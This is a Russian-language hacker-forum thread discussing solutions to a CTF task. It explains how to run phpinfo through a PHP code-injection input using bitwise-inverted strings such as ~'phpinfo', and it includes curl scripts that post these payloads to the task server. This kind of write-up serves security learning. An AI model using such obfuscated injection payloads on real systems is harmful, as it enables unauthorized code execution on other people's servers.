Task # Task #2

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by joelblack, 5 Jan 2019.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Пояснения про самый короткий вариант.
    Он конечно будет с применением ~ - побитовая инверсия символов строки.
    Поскольку инверсия - обратимая операция, т.е. двойное ее применение дает исходную строку.
    ~~'phpinfo' =='phpinfo';
    Короче этой нотации просто нет.

    И, на заметку, ~string без кавычек выбросит нотис (Use of undefined constant phpinfo), но тоже будет работать на символах алфавита и некоторых других, скобки воспринимаются как конец строки .

    Проверял два варианта, при первой проверке получил одинаковую длину решения и в дальнейшем оптимизировал только тот, в котором вся посылка умещается в input.
    Уж не знаю, обсчитался в количестве символов, или просто записал неоптимально, но шутка Лайта зашла и повторная проверка показала, что вариант с раздельной нагрузкой post +get действительно короче.

    В первом варианте переменной $_ присваивается строка ~~'phpinfo', а потом вызывается функция из имени переменной $_().
    <?
    $u='http://task.antichat.xyz:10002/index.php';
    $p='$_=~'.~'phpinfo'.';$_()';

    echo $p, strlen($p);
    echo mp($u, $p);

    function mp($url,$post=''){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post);
    $result = @curl_exec($ch);
    curl_close($ch);
    return $result;
    }

    Второй вариант проделывает эту же манипуляцию с массивом $_GET.
    <?
    $u='http://task.antichat.xyz:10002/index.php?_=phpinfo';
    $p='${~'.~'_GET'.'}[_]()';

    echo $p, strlen($p);
    echo mp($u, $p);

    function mp($url,$post=''){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post);
    $result = @curl_exec($ch);
    curl_close($ch);
    return $result;
    }
    здесь $_GET['_'] = 'phpinfo'.
    Поскольку вариант ищем короткий, то кавычки не ставим, нотисы не мешают выполнить код.

    Кстати l1ght тоже нашел оба эти варианта, но не отписал ТС, видимо решив, что я передам, ну или для него это не очень значимо.
    В любом случае, восстанавливаю справедливость.
    Самый короткий вариант за Лайтом.

    PS
    Забыл пояснить курл нотацию, или "Сложный (фигурный) синтаксис",
    внутри ${} может быть переменная или функция.
     
    crabovwik, l1ght, cerber3000 and 6 others like this.
    1. dooble

      dooble Members of Antichat

      Joined:
      30 Dec 2016
      Messages:
      231
      Likes Received:
      601
      Reputations:
      145
      У меня вопрос, достаточно ли понятно описаны решения, смысл этих "кракобляков" понятен, или нужны дополнительные разъяснения?
      Следующее задание будет тоже из разряда простых, но дальше будем набирать обороты и важно не растерять Ваше внимание и понимание.
       
      unstppbl and XoroXSS like this.
      1. XoroXSS

        XoroXSS Member

        Joined:
        8 Jan 2019
        Messages:
        4
        Likes Received:
        7
        Reputations:
        0
        Мне, как человеку, который знает php на уровне скриптов под апи вк :D - было всё понятно. Очень здорово.
        У меня не совсем по "краказябрам" вопрос..
        В ответах к теме люди писали что использовали burp и sqlmap для поиска решения, так вот, меня заинтересовало как именно это происходило.
        Насчет XSS - всё понятно, есть плагин бурповский xss-validator который автоматически проверяет на "алерты", а как поиск происходил в данном случае? Ручками?
         
        dooble likes this.
        1. dooble

          dooble Members of Antichat

          Joined:
          30 Dec 2016
          Messages:
          231
          Likes Received:
          601
          Reputations:
          145
          Скульмап - это прикол.
          Бурп - скорее всего просто привычный инструмент для манипуляции с пакетами.
           
          1. unstppbl

            unstppbl Level 8

            Joined:
            12 Nov 2018
            Messages:
            8
            Likes Received:
            10
            Reputations:
            6
            Всё понятно, спасибо :)
             
            dooble likes this.
            1. dooble

              dooble Members of Antichat

              Joined:
              30 Dec 2016
              Messages:
              231
              Likes Received:
              601
              Reputations:
              145
              Та дам!
              Лайт прислал решение на 12 символов.
              Первоначально не поверил ему, поскольку этот вариант я проверял, минимум дважды, должен работать, но не работает.
              Раскомментировал строку //$p='(~'.~'phpinfo'.')()';
              работает.
              <?
              $u='http://task.antichat.xyz:10002/index.php?_=phpinfo';
              $p='(~'.~'phpinfo'.')()';

              echo $p, strlen($p);
              echo mp($u, $p);

              function mp($url,$post=''){
              $ch = curl_init();
              curl_setopt($ch, CURLOPT_URL,$url);
              curl_setopt($ch,CURLOPT_POSTFIELDS,'input='.$post);
              $result = @curl_exec($ch);
              curl_close($ch);
              return $result;
              }
              Эту магию оставил на потом разбираться, сейчас больше интересует магия скобок.

              Давайте добивать вместе.
              Я когда экспериментировал, исходил из того, что запись (здесь чего то) означает, что внутри скобок находится строка, сейчас не помню где, поищю, но скобки - это еще один способ записи строки, например конструкция (int)$var использует его.

              В результате $a=~'phpinfo'; print ~$a; получается не строка, возможно константа.
              А скобки принудительно заставляют воспринимать, как строку $a=~'phpinfo';(~$a)();

              Есть еще вариант объяснения, что скобки это просто последовательность операций и в пользу этого говорят проверки
              Code:
              eval('print (3-2)()'.';'); - Function name must be a string
              eval('print ("2"+"2")()'.';'); - Function name must be a string
              eval('print (2*2)()'.';');- Function name must be a string
              По крайней мере, это точно не преобразование в строку.

              Кстати эта конструкция работает только на семерке, а в пятой ветке не работает.

              ==
              PS
              Лайт - красавчик.
              #этапять
              но поскольку отказался оформить пост, то #этаужечетыре и нет возможности закидать его репой (((.
              ==
              PS2
              Вот чем хорошо, когда команда ресерчит, вариантов набирается много и разных, и задание вроде бы простое, а превращается в нормальное, полноценное, интересное.
               
              #86 dooble, 21 Jan 2019
              Last edited: 25 Jan 2019
              l1ght, crabovwik, joelblack and 2 others like this.
              1. leaderru

                leaderru Member

                Joined:
                19 May 2010
                Messages:
                108
                Likes Received:
                9
                Reputations:
                0
                Прохожу эти задания в 2020, здесь самостоятельно никак не справился
                 
                dooble likes this.
                1. WoS

                  WoS New Member

                  Joined:
                  16 Jan 2019
                  Messages:
                  17
                  Likes Received:
                  1
                  Reputations:
                  0
                  Почему меня нет в списке прошедших? Репутацию тоже не дали